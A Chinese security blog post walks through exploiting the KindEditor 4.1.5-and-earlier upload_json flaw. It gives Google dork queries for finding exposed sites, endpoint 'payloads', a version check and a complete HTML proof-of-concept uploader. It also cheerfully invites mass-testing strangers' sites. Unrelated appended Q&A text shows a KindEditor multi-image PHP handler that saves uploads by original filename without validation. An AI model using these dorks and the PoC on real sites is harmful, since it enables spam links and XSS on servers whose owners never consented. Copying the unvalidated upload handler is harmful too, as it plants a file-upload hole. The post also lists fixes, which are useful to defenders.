漏洞挖掘 | 编辑器漏洞之kindeditor

本文由掌控安全学院 - master666 投稿

今天呢给大家复现一个kindeditor<=4.1.5上传漏洞。小弟能力有限,还在坚持学习的路上,还请大佬多多指教。自我感觉编辑器漏洞很容易忽视。此文章作为记录本人学习的开始,丰富自己的阅历。我们共同进步。

0x00 漏洞描述

一定要注意是版本小于4.1.5。可能现在同学会问我怎么看版本,后边我悄悄告诉你。漏洞主要是存在于kindeditor编辑器里。通过编辑器你能上传.txt和.html文件。并且此漏洞的优势在于使用语言广泛,支持php/asp/jsp/asp.net。

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)

简单理解:就是可以通过poc间接性的上传文件。uploadbutton.html直接指向/upload_json.*?dir=file不懂没关系,后边看我实战就ok了。

0x01 批量搜索

找漏洞最必要的还是批量,别人借助工具,咱们借助谷歌。批量可以节省你大部分的时间。那么此时的你一定在关心谷歌语法吧。下边给大家列举一下。

inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp

我们以其中一条为例进行谷歌搜索一下

图片

看吧,这是以其中一条语法搜索的啊
这些所有的链接都尝试一遍,找出的漏洞积分在漏洞盒子上不了榜?我信你个鬼。
好了,开个玩笑,我说到这,剩下的交给你们。

0x02 漏洞条件

要想挖掘漏洞一定要有一个可以产生漏洞的条件。这个大家都可以理解,那kindeditor编辑器的漏洞需要什么条件呢。

1.首先一定要看脚本语言,对症下药。kindeditor编辑器支持php/asp/jsp/asp.net,payload给你们放下边。

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

检查的目的就是验证文件 upload_json.* 存在不存在(漏洞描述中有讲过为什么)

2.查看可目录变量是否存在那种脚本上传漏洞,这个不懂没关系,看我后边操作。这里同样给你们检测的payload。

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

根据web容器选择合适的payload。

0x03 漏洞复现

1.Google hacking搜索漏洞点。以其中一条语法为例

图片

2.这么多网站随便点一个呗。

图片


点进去之后发现是上传点,大概你第一眼想到的就是文件上传漏洞,当然这里存不存在我没试过,你可以尝试一下。

3.悄悄的告诉你如何查看版本。

http://www.xxx.com/kindeditor/kindeditor.js

对,就这!不信你看图。
 

图片


很显然,4.1.4版本,在我们的掌控中。

4.验证文件 upload_json.* 是否存在(上边方法有列举)
这里呢可以通过分析网站结构来查看脚本语言,我这里用的插件
 

图片


可以看到web服务器是IIS,那就猜想asp的站嘛,当然如果你不想分析,一共4条你挨个试一下嘛,访问一下看看
 

图片


很明显,存在。

5.今天的武器就是前辈创造的poc。这里需要修改<script>…<script>以及url : 的内容,根据实际情况修改.

<html><head>
<title>Uploader</title>
<script src="http://www.xxx.com/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.com/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

6.做一个html,用浏览器打开看一下。
 

图片


7.这里呢要配合一下抓包,需要看一下返回地址。我上传一个txt文件,看一下

图片

8.我们访问一下文件看看。

图片

成功了。当然这了可以传很多格式,上边有介绍。比如这里传一个html里面可以嵌套暗链接地址以及嵌套xss。

0x04 漏洞修复

1.直接删除upload_json.和file_manager_json.

2.升级kindeditor到最新版本

0x05 总结

可能手法比较老,毕竟也不能否定他的存在。渗透测试的核心讲究测试嘛。希望这篇文章对一直探索的我们有所帮助。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: KindEditor编辑器可以通过以下步骤上传多张图片: 1. 点击编辑器中的“插入图片”按钮。 2. 在弹出的对话框中,选择“上传图片”选项卡。 3. 点击“选择文件”按钮,选择要上传的图片文件。 4. 重复步骤3,选择多张图片文件。 5. 点击“开始上传”按钮,等待上传完成。 6. 上传完成后,可以在“已上传图片”选项卡中查看已上传的图片。 7. 选中要插入的图片,点击“确定”按钮即可插入到编辑器中。 注意:上传多张图片时,需要等待每张图片上传完成后再选择下一张图片,否则可能会导致上传失败。 ### 回答2: kindeditor是一款非常常用的富文本编辑器,它不仅提供了基本的文本编辑功能,而且还支持上传多张图片的功能。下面就详细介绍一下如何使用kindeditor上传多张图片。 1. 准备工作 首先,在使用kindeditor上传多张图片之前,我们需要先准备好以下内容: ① kindeditor编辑器文件 ② kindeditor上传图片的处理程序文件,这个一般是后台开发人员编写的 ③ 存储上传图片的文件夹,这个一般由后台开发人员在处理程序中设置。 2. 设置kindeditor编辑器 在前端页面中,我们需要先引入kindeditor编辑器的相关文件。这些文件一般包括kindeditor.js和kindeditor.css等。引入之后,我们需要对kindeditor进行一些基本设置,如设置编辑器的宽度、高度等。同时,还需要在配置文件中设置上传图片的选项。 其中,设置上传图片的选项需要设置上传图片的处理程序地址、允许上传的图片类型、最大可以上传的图片大小、是否可以上传多张图片等。 3. 编写后端处理程序 在上传图片的处理程序中,我们一般需要在程序中编写以下基本功能: ① 判断上传的文件是否合法,包括文件类型是否允许上传、文件大小是否在规定范围内等。 ② 将上传的图片保存到指定文件夹中。 ③ 返回上传结果,一般是返回上传的图片地址或者上传失败的原因等。 4. 使用 在前端页面中,我们可以通过点击上传图片按钮来触发上传图片的功能。在点击上传图片按钮后,会弹出选择图片的对话框,我们可以选择多张图片,然后分别进行上传。上传完成后,可以在编辑器中看到上传的图片。 总的来说,kindeditor上传多张图片的功能非常实用,可以让我们的文章或网站更加丰富和有趣。同时,对于后端开发人员来说,也需要注意上传图片的文件类型和大小等问题,以确保上传图片的安全性和稳定性。 ### 回答3: KindEditor是一款基于jQuery和Zlib的网页富文本编辑器,它支持表格、混合开发、超过40种已配置的插件、代码自动提示与补全。在KindEditor中,用户可以方便地插入各类多媒体元素,包括图片、音视频等。也就是说,在KindEditor中上传多张图片非常容易。 具体的上传过程可以分为以下几个步骤: 1. 在前端页面中添加一个文件上传控件,例如: <input type="file" id="file" name="file" multiple/> 其中,multiple属性表示可以选择多个文件进行上传。 2. 在JavaScript中添加上传代码。使用KindEditor自带的uploadJson接口可以实现多张图片的上传: KindEditor.ready(function(K) { var editor = K.editor({ // 设置上传接口 uploadJson: '/upload_json.php', fileManagerJson: '/file_manager_json.php' }); K('#upload_img_btn').click(function() { editor.loadPlugin('multiimage', function() { // 打开上传多张图片的窗口 editor.plugin.multiImageDialog({ clickFn: function(data) { // 上传成功后执行的回调函数 } }); }); }); }); 在上述代码中,uploadJson属性设置上传接口,multiImageDialog方法打开多张图片上传的窗口。 3. 在服务器端编写PHP代码处理上传请求。具体的实现方式因不同的后端语言而异,在PHP中,可以使用$_FILE数组来处理上传文件。例如: if(!empty($_FILES['file']['name'])) { $fileArr = $_FILES['file']; for($i=0; $i<count($fileArr['name']); $i++) { $tmp_name = $fileArr['tmp_name'][$i]; $name = $fileArr['name'][$i]; // 保存文件到指定目录 move_uploaded_file($tmp_name, 'uploads/'.$name); $urlArr[] = 'uploads/'.$name; } echo json_encode(array('error' => 0, 'data' => $urlArr)); } 其中,$fileArr为上传的文件数组,$urlArr保存上传成功后每个文件的URL地址。 综上所述,KindEditor编辑器上传多张图片的步骤包括前端文件上传控件的添加、JavaScript上传代码的编写以及后端服务器代码的处理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值